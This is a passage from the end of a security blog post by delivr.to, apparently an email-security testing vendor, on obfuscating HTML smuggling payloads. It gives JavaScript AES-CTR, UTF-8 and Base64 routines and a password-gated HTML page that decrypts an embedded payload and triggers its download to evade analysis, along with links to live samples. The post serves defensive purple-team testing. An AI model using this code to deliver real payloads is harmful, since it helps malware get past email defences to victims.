    for (var i = 0; i < ciphertext[b].length; i++) {
      plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
      plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]);
    }
    plaintxt[b] = plaintxtByte.join('');
  }
  var plaintext = plaintxt.join('');
  plaintext = Utf8.decode(plaintext);
  return plaintext;
};
var Utf8 = {};
Utf8.encode = function (strUni) {
  var strUtf = strUni.replace(/[\u0080-\u07ff]/g, function (c) {
    var cc = c.charCodeAt(0);
    return String.fromCharCode(192 | cc >> 6, 128 | cc & 63);
  });
  strUtf = strUtf.replace(/[\u0800-\uffff]/g, function (c) {
    var cc = c.charCodeAt(0);
    return String.fromCharCode(224 | cc >> 12, 128 | cc >> 6 & 63, 128 | cc & 63);
  });
  return strUtf;
};
Utf8.decode = function (strUtf) {
  var strUni = strUtf.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function (c) {
    var cc = (c.charCodeAt(0) & 15) << 12 | (c.charCodeAt(1) & 63) << 6 | c.charCodeAt(2) & 63;
    return String.fromCharCode(cc);
  });
  strUni = strUni.replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function (c) {
    var cc = (c.charCodeAt(0) & 31) << 6 | c.charCodeAt(1) & 63;
    return String.fromCharCode(cc);
  });
  return strUni;
};
var Base64 = {};
Base64.code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
Base64.encode = function (str, utf8encode) {
    utf8encode = typeof utf8encode == 'undefined' ? false : utf8encode;
    var o1, o2, o3, bits, h1, h2, h3, h4, e = [], pad = '', c, plain, coded;
    var b64 = Base64.code;
    plain = utf8encode ? str.encodeUTF8() : str;
    c = plain.length % 3;
    if (c > 0) {
      while (c++ < 3) {
        pad += '=';
        plain += '\0';
      }
    }
    for (c = 0; c < plain.length; c += 3) {
      o1 = plain.charCodeAt(c);
      o2 = plain.charCodeAt(c + 1);
      o3 = plain.charCodeAt(c + 2);
      bits = o1 << 16 | o2 << 8 | o3;
      h1 = bits >> 18 & 63;
      h2 = bits >> 12 & 63;
      h3 = bits >> 6 & 63;
      h4 = bits & 63;
      e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    }
    coded = e.join('');
    coded = coded.slice(0, coded.length - pad.length) + pad;
    return coded;
  };
Base64.decode = function (str, utf8decode) {
  utf8decode = typeof utf8decode == 'undefined' ? false : utf8decode;
  var o1, o2, o3, h1, h2, h3, h4, bits, d = [], plain, coded;
  var b64 = Base64.code;
  coded = utf8decode ? str.decodeUTF8() : str;
  for (var c = 0; c < coded.length; c += 4) {
    h1 = b64.indexOf(coded.charAt(c));
    h2 = b64.indexOf(coded.charAt(c + 1));
    h3 = b64.indexOf(coded.charAt(c + 2));
    h4 = b64.indexOf(coded.charAt(c + 3));
    bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
    o1 = bits >>> 16 & 255;
    o2 = bits >>> 8 & 255;
    o3 = bits & 255;
    d[c / 4] = String.fromCharCode(o1, o2, o3);
    if (h4 == 64)
      d[c / 4] = String.fromCharCode(o1, o2);
    if (h3 == 64)
      d[c / 4] = String.fromCharCode(o1);
  }
  plain = d.join('');
  return utf8decode ? plain.decodeUTF8() : plain;
};

var cipherText=  "ENCRYPTED_BASE64_PAYLOAD"
var decryptedData = Aes.Ctr.decrypt(cipherText, "password", 128);
...

</script>

The equivalent encryption method in JavaScript to produce the ciphertext of our
Base64-encoded payload would be as follows:

Aes.Ctr.encrypt = function (plaintext, password, nBits) {
  var blockSize = 16;
  if (!(nBits == 128 || nBits == 192 || nBits == 256))
    return '';
  plaintext = Utf8.encode(plaintext);
  password = Utf8.encode(password);
  var nBytes = nBits / 8;
  var pwBytes = new Array(nBytes);
  for (var i = 0; i < nBytes; i++) {
    pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
  }
  var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
  key = key.concat(key.slice(0, nBytes - 16));
  var counterBlock = new Array(blockSize);
  var nonce = (new Date()).getTime();
  var nonceSec = Math.floor(nonce / 1000);
  var nonceMs = nonce % 1000;
  for (var i = 0; i < 4; i++)
    counterBlock[i] = nonceSec >>> i * 8 & 255;
  for (var i = 0; i < 4; i++)
    counterBlock[i + 4] = nonceMs & 255;
  var ctrTxt = '';
  for (var i = 0; i < 8; i++)
    ctrTxt += String.fromCharCode(counterBlock[i]);
  var keySchedule = Aes.keyExpansion(key);
  var blockCount = Math.ceil(plaintext.length / blockSize);
  var ciphertxt = new Array(blockCount);
  for (var b = 0; b < blockCount; b++) {
    for (var c = 0; c < 4; c++)
      counterBlock[15 - c] = b >>> c * 8 & 255;
    for (var c = 0; c < 4; c++)
      counterBlock[15 - c - 4] = b / 4294967296 >>> c * 8;
    var cipherCntr = Aes.cipher(counterBlock, keySchedule);
    var blockLength = b < blockCount - 1 ? blockSize : (plaintext.length - 1) % blockSize + 1;
    var cipherChar = new Array(blockLength);
    for (var i = 0; i < blockLength; i++) {
      cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b * blockSize + i);
      cipherChar[i] = String.fromCharCode(cipherChar[i]);
    }
    ciphertxt[b] = cipherChar.join('');
  }
  var ciphertext = ctrTxt + ciphertxt.join('');
  ciphertext = Base64.encode(ciphertext);
  return ciphertext;
  };

var cipherText = Aes.Ctr.encrypt("BASE64_ENCODED_PAYLOAD", "password", 128);

With the required functions to produce our AES-encrypted payload and decrypt it
again, we can implement a rudimentary password entry UI as below:

<html>
<body>
  <p>
      Enter File Download Password:
      <input id="passBox" name="inputPassword" value="" />
  </p>
  <button onclick="Download()">Download</button>
  <p style="color:red" id="messageBox"></p>
</body>
<script>
function Validate(cipherText) {
    if (document.getElementById("passBox").value == "" || document.getElementById("passBox").value.length < 8)
        return false;
    else if (Aes.Ctr.decrypt("dIYlZAAAAAAmKL/xhw==", document.getElementById("passBox").value, 128) == "valid")
        return true;
    else
        return false;
}

function Download() {
    var password = document.getElementById("passBox").value;
    var cipherText = "CIPHERTEXT_OF_BASE64_PAYLOAD";

    if (Validate()){        
        var decryptedData = Aes.Ctr.decrypt(cipherText, password, 128);
        // Initiate Download
    }
    else {
        document.getElementById("messageBox").innerText  = "Bad Password.";
        document.getElementById("passBox").value = "";
    }
}
</script>
</html>

This effectively achieves the following:

 * Take user entered string from the ‘passBox’ entry field.
 * Initiate the Download() function on button click.
 * If the password is valid (based on the outcome of the Validate() function),
   initiate the decryption.
 * If it isn’t, update the page to say ‘Bad Password.’ and clear the ‘passBox’
   entry field.


A basic password entry HTML form

Our Validate() function, performs two checks. The first checks the provided
password isn’t empty and is longer than 8 characters. The second check then uses
the provided password to decrypt an encrypted string with a cleartext of
‘valid’. If we decrypt the string and get the expected ‘valid’ value, we know
the password is correct and can proceed with decrypting the primary payload.

Introducing a cleartext and ciphertext comparison in this way arguably aids in
analysis of the overall payload, but the primary benefit of this implementation
is ensuring the end user only receives a download when their password is entered
correctly, rather than serving them a malformed payload decrypted with the wrong
key.

> You can find a sample of this for testing via email and link delivery in
> delivr.to’s collection here, as well as an obfuscated variation here, and a
> live demo (password is ‘password’!) which smuggles an ISO here.


CONCLUSIONS

Throughout this blog we’ve explored ways in which threat actors are employing
techniques to obfuscate their payloads and make analysis and detection of HTML
smuggling in email attachments more challenging.

We’ve seen examples of different encoding and encryption methods, as well as
techniques using JavaScript event listeners and user agent checks to ensure the
payload is not exposed through dynamic analysis or downloaded on an unintended
platform. Finally, we’ve seen examples using SVG files, OnError image element
attributes and setTimeout functions to obscure the smuggling even further.

Along the way, we’ve identified a handful of detection opportunities for the
various techniques, and seen actionable code snippets and demos to emulate these
techniques ourselves.

Blog written by Alfie Champion.




DELIVR.TO

delivr.to is a platform for validating email security controls, through the
continuous and automated sending of email attachment and link content.

delivr.to has a broad collection of over 500 payload samples, ranging from
recreations of threat actor activity, esoteric and weaponisable file formats,
and emerging techniques. These are presented in hand-crafted ‘campaigns’ to
provide an evidence-based appraisal of email defences and highlight areas for
attack surface reduction.

delivr.to offers a free 30 day trial, so head over and try it out now!




REFERENCES

 * Login portal attachments:
   https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/html-file-attachments-still-a-threat/
 * More login portal attachments:
   https://atos.net/en/lp/securitydive/phishing-campaign-using-html-smuggling-to-get-your-office365-credentials
 * Demiguise: https://github.com/nccgroup/demiguise
 * Outflank — HTML Smuggling Explained:
   https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
 * SVG Images for HTML Smuggling:
   https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/
 * HTML Smuggling Detection:
   https://micahbabinski.medium.com/html-smuggling-detection-5adefebb6841
 * AES Encryption JavaScript Implementation:
   https://gist.github.com/chrisveness/b28bd30b2b0c03806b0c
 * David Weir HTML Smuggling Series (LinkedIn):
   https://www.linkedin.com/posts/activity-7013900051353657344-IyJC

Email Security
Purple Team
Malware Analysis


6

6





6







MORE FROM DELIVR.TO

Follow


Posts from the delivr.to team on all things email control validation and purple
teaming

Jan 4


INTRODUCING DELIVR.TO, AND A NEW APPROACH TO EMAIL SECURITY TESTING

Introduction The best defences in cyber security are those you’ve validated.
‘Kicking the tyres’ on your controls gives you the best evaluation of what and
how (and if?!) they’re mitigating the threats they should be. The burgeoning
Breach and Attack Simulation (BAS) tooling market is testament to this, not to
mention…

Email Security

6 min read



Email Security

6 min read




--------------------------------------------------------------------------------

Share your ideas with millions of readers.

Write on Medium

--------------------------------------------------------------------------------

Feb 22


USING DELIVR.TO AND SUBLIME SECURITY TO BOOTSTRAP YOUR EMAIL DEFENCES

New to delivr.to? Check out our release blog here. delivr.to provides a means to
test your defences against a broad range of payloads, from HTML Smuggling to the
latest abuse of Microsoft Office file formats (OneNote anyone? 👀), sent as both
attachments and links. Running a handcrafted Campaign Template can…

Purple Team

11 min read



Purple Team

11 min read




--------------------------------------------------------------------------------

AboutHelpTermsPrivacy

--------------------------------------------------------------------------------


GET THE MEDIUM APP




DELIVR.TO

19 Followers

Posts from the delivr.to team on all things email control validation and purple
teaming

Follow




MORE FROM MEDIUM

Adam Dryden

OFFENSIVE SECURITY: HOW TO USE BURP SUITE, SQL INJECTION, PENETRATION TESTING
EXECUTION STANDARD…



Adam Goss

CERTIFIED RED TEAM OPERATOR (CRTO) REVIEW



Mike Takahashi

in

The Gray Area

5 GOOGLE DORKS EVERY HACKER SHOULD KNOW



Alopix | Αλώπηξ

in

System Weakness

BYPASSING A WINDOWS PASSWORD USING KALI, WITH JUST TWO COMMANDS



Help

Status

Writers

Blog

Careers

Privacy

Terms

About

Text to speech

To make Medium work, we log user data. By using Medium, you agree to our Privacy
Policy, including cookie policy.